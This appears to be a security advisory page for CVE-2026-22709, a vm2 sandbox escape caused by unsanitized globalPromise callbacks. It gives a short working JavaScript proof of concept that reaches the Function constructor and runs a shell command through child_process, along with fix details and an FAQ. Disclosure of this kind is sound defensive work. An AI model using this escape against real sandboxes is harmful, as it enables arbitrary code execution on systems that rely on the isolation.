CVE-2026-22709: vm2 has a Sandbox Escape
In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
js const { VM } = require("vm2");
const code = const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('childprocess').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); ;
new VM().run(code);
In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.
Other sources
vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object. Version 3.10.2 fixes the issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-22709?
CVE-2026-22709 is classified as a critical vulnerability due to its ability to allow arbitrary code execution outside of the sandbox.
How do I fix CVE-2026-22709?
To fix CVE-2026-22709, upgrade the vm2 package to version 3.10.2 or later.
What is the impact of CVE-2026-22709?
The impact of CVE-2026-22709 includes the potential for attackers to escape the sandbox environment and execute malicious code.
Which versions of vm2 are affected by CVE-2026-22709?
Versions of vm2 from 3.10.0 to 3.10.1 are affected by CVE-2026-22709.
Is there a public disclosure for CVE-2026-22709?
Yes, CVE-2026-22709 has been publicly disclosed as part of a security advisory.